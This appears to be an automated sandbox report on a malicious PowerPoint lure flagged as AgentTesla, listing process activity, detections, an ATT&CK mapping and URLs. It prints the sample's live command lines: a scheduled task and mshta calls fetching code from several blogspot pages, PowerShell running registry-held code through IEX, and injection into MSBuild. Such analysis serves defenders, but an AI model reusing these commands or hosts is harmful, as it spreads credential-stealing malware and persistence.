Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2340	Thread sleep count: 1949 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2340	Thread sleep count: 7788 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2092	Thread sleep count: 94 > 30
Source: C:\Windows\System32\mshta.exe TID: 2440	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\mshta.exe TID: 1988	Thread sleep time: -480000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2804	Thread sleep time: -360000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1068	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\mshta.exe TID: 1900	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\mshta.exe TID: 3036	Thread sleep time: -540000s >= -30000s
Source: C:\Windows\System32\mshta.exe TID: 2560	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\mshta.exe TID: 2744	Thread sleep time: -300000s >= -30000s

Source: C:\Windows\System32\PING.EXE	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 12_2_01D8096A GetSystemInfo,

12_2_01D8096A

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Source: mshta.exe, 00000011.00000002.2222610577.00000000005BA000.00000004.00000001.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\mshta.exe

Memory protected: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Creates a scheduled task launching mshta.exe (likely to bypass HIPS)

Show sources

Source: unknown	Process created: C:\Windows\System32\schtasks.exe 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\')
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\schtasks.exe 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\')			Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: unknown base: 400000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: unknown base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 438000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43A000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: FFFDE008	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE 'C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE' 'C:\Users\user\Desktop\BankSwiftCopyUSD95000.ppt'	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)\|IEX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\schtasks.exe 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\')	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c taskkill /f /im winword.exe & taskkill /f /im EXCEL.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\mshta.EXE vbscript:Execute('CreateObject(''Wscript.Shell'').Run ''mshta https://randikhanaekminar.blogspot.com/p/st2.html'', 0 : window.close')	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://randikhanaekminar.blogspot.com/p/st2.html	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)\|IEX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im winword.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im EXCEL.exe
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' ((gp HKCU:\Software).meather)\|IEX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://backbones1234511a.blogspot.com/p/stback1.html
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe' -noexit ((gp HKCU:\Software).meather)\|IEX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://startthepartyup.blogspot.com/p/backbone14.html
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' https://ghostbackbone123.blogspot.com/p/ghostbackup13.html

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im winword.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im EXCEL.exe

Source: unknown	Process created: C:\Windows\System32\schtasks.exe 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\')
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\schtasks.exe 'C:\Windows\System32\schtasks.exe' /create /sc MINUTE /mo 80 /tn ''lunkicharkhi'' /F /tr ''\''mshta\''vbscript:Execute('\'CreateObject(''\''Wscript.Shell''\'').Run ''\''mshta https://randikhanaekminar.blogspot.com/p/st2.html''\'', 0 : window.close'\')			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation

Source: C:\Windows\System32\taskeng.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 0000000C.00000002.2279587829.00000000046AE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2281127990.00000000048E4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2354098697.0000000004834000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2291584431.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2370323670.0000000004854000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2361625874.000000000461E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2353771380.00000000045FE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2295286876.00000000026F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2816, type: MEMORY
Source: Yara match	File source: 29.2.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE

Source: Yara match

File source: 0000001D.00000002.2295286876.00000000026F1000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 0000000C.00000002.2279587829.00000000046AE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2281127990.00000000048E4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2354098697.0000000004834000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2291584431.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2370323670.0000000004854000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2361625874.000000000461E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2353771380.00000000045FE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2295286876.00000000026F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2816, type: MEMORY
Source: Yara match	File source: 29.2.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Spearphishing Link1	Windows Management Instrumentation211	Scheduled Task/Job1	Extra Window Memory Injection1	Disable or Modify Tools111	OS Credential Dumping	File and Directory Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Web Service1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting32	Registry Run Keys / Startup Folder31	Access Token Manipulation1	Deobfuscate/Decode Files or Information11	LSASS Memory	System Information Discovery116	Remote Desktop Protocol	Email Collection1	Exfiltration Over Bluetooth	Ingress Tool Transfer2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution13	Logon Script (Windows)	Process Injection211	Scripting32	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Clipboard Data1	Automated Exfiltration	Encrypted Channel12	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter11	Logon Script (Mac)	Scheduled Task/Job1	Obfuscated Files or Information1	NTDS	Security Software Discovery111	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Scheduled Task/Job1	Network Logon Script	Registry Run Keys / Startup Folder31	Extra Window Memory Injection1	LSA Secrets	Virtualization/Sandbox Evasion13	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol14	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading1	Cached Domain Credentials	Process Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion13	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Access Token Manipulation1	Proc Filesystem	Remote System Discovery11	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection211	/etc/passwd and /etc/shadow	System Network Configuration Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
BankSwiftCopyUSD95000.ppt	35%	Virustotal		Browse
BankSwiftCopyUSD95000.ppt	22%	ReversingLabs	Script-Macro.Downloader.Heuristic
BankSwiftCopyUSD95000.ppt	100%	Avira	HEUR/Macro.Downloader.MRKQ.Gen
BankSwiftCopyUSD95000.ppt	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
29.2.MSBuild.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1138205		Download File

Domains

Source	Detection	Scanner	Label	Link
j.mp	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://mainjigijigi123.blogspot	0%	Avira URL Cloud	safe
https://mainjigijigi123.blogs	0%	Avira URL Cloud	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
http://ocsp.pki.goog/gts1o1core0	0%	URL Reputation	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
https://i18n-cloud.appspot.com	0%	Virustotal		Browse
https://i18n-cloud.appspot.com	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
http://ocsp.pki.goog/gs	0%	Avira URL Cloud	safe
http://ocsp.pki.goog/gsr202	0%	URL Reputation	safe
http://ocsp.pki.goog/gsr202	0%	URL Reputation	safe
http://ocsp.pki.goog/gsr202	0%	URL Reputation	safe
http://ocsp.pki.goog/gsr202	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
https://pki.goog/repository/0	0%	URL Reputation	safe
https://pki.goog/repository/0	0%	URL Reputation	safe
